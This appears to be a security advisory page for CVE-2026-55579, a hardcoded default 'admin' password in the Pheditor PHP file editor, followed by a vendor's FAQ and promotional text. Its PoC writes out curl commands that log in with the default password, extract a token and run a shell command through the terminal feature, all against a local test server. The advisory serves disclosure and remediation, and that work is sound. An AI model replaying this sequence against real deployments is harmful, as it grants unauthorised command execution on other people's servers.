Summary
Pheditor: Hardcoded default password 'admin' with no forced change enables full application compromise
Pheditor ships with a hardcoded default password admin (SHA-512 hash stored at pheditor.php:11). There is no mechanism to force a password change on first login. Any deployment using the default credentials grants an attacker full access to the file editor, file upload, and terminal features, enabling arbitrary file read/write and remote code execution.
Details
Tested repository: https://github.com/pheditor/pheditor
Tested commit: e538f05b6faec99e5b23726bc9c17d6b57774297 (current HEAD on main)
Affected version: All versions of Pheditor
The password is hardcoded at pheditor.php:11:
define('PASSWORD', 'c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec');
This is the SHA-512 hash of the string admin:
echo -n 'admin' | sha512sum
c7ad44cbad762a5da0a452f9e854fdc1e0e7a52a38015f23f3eab1d80b931dd472634dfac71cd34ebc35d16ab7fb8a90c81f975113d6c7538dc69dd8de9077ec
The application displays a warning banner at pheditor.php:1956-1958 when the default password is in use, but this is only visual, there is no forced password change, no expiry, no lockout, and no setup wizard. Many deployments run with the default indefinitely.
The password hash is stored as unsalted SHA-512 in the source code. The password change feature (lines 363-391) writes the new hash directly into the PHP source file, meaning anyone with read access to the source can extract it.
Combined impact: With the default password, an unauthenticated attacker can authenticate and exploit the terminal RCE and file upload vulnerabilities for immediate server compromise.
PoC
Environment: Any system running Pheditor with default configuration.
Setup:
git clone https://github.com/pheditor/pheditor /tmp/pheditor-test
cd /tmp/pheditor-test
php -S localhost:8080 pheditor.php &
Positive trigger, authenticate with default password:
curl -s -c /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
-d "pheditor_password=admin" -L -o /dev/null -w "%{http_code}"
Expected: 200, successful authentication with the default password admin.
Verify full access:
TOKEN=$(curl -s -b /tmp/cookies.txt http://localhost:8080/pheditor.php | \
grep -o 'token = "[a-f0-9]*"' | grep -o '"[a-f0-9]*"' | tr -d '"')
curl -s -b /tmp/cookies.txt -X POST http://localhost:8080/pheditor.php \
--data-urlencode "action=terminal" \
--data-urlencode "token=$TOKEN" \
--data-urlencode 'command=echo `id`' \
--data-urlencode "dir="
Expected: id output showing web server user, proves full system access through default credentials combined with terminal RCE.
Control (wrong password):
curl -s -X POST http://localhost:8080/pheditor.php \
-d "pheditor_password=wrongpassword" | grep -o 'not correct'
Expected: not correct, authentication logic works but default password is trivially guessable.
Cleanup:
kill %1; rm -rf /tmp/pheditor-test /tmp/cookies.txt
Credits
- Thai Son Dinh from VinSOC Labs (R&D)
Impact
Use of Hard-coded Credentials (CWE-798). The default password admin is publicly documented in the source code, trivially guessable, and there is no mechanism to force a password change on first login. This effectively grants unauthenticated remote attackers full administrator access to the application.
Attacker privileges: Unauthenticated remote attacker (PR:N).
Security boundary crossed: Unauthenticated → fully authenticated administrator.
Confidentiality impact: High, read all files within MAIN_DIR and beyond (via terminal).
Integrity impact: High, write/delete files, upload webshells, modify application code, execute arbitrary commands.
Availability impact: High, delete files and directories, disrupt services.
Suggested remediation:
- Remove the default password, require user to set a password during installation.
- Add a setup wizard that forces password creation on first access.
- Add a forced password change on first login with default credentials.
- Use
password_hash()/password_verify()withPASSWORD_BCRYPTinstead of raw SHA-512.
Credentials are embedded in source code or a binary, making them accessible to anyone who can read the artifact. Typical impact: unauthorized access using the static credential.
CVE-2026-55579 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (2.0.6); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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Frequently Asked Questions
- What is CVE-2026-55579? CVE-2026-55579 is a critical-severity use of hard-coded credentials vulnerability in pheditor/pheditor (composer), affecting versions >= 2.0.1, < 2.0.6. It is fixed in 2.0.6. Credentials are embedded in source code or a binary, making them accessible to anyone who can read the artifact.
- How severe is CVE-2026-55579? CVE-2026-55579 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of pheditor/pheditor are affected by CVE-2026-55579? pheditor/pheditor (composer) versions >= 2.0.1, < 2.0.6 is affected.
- Is there a fix for CVE-2026-55579? Yes. CVE-2026-55579 is fixed in 2.0.6. Upgrade to this version or later.
- Is CVE-2026-55579 exploitable, and should I be worried? Whether CVE-2026-55579 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55579 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55579? Upgrade
pheditor/pheditorto 2.0.6 or later.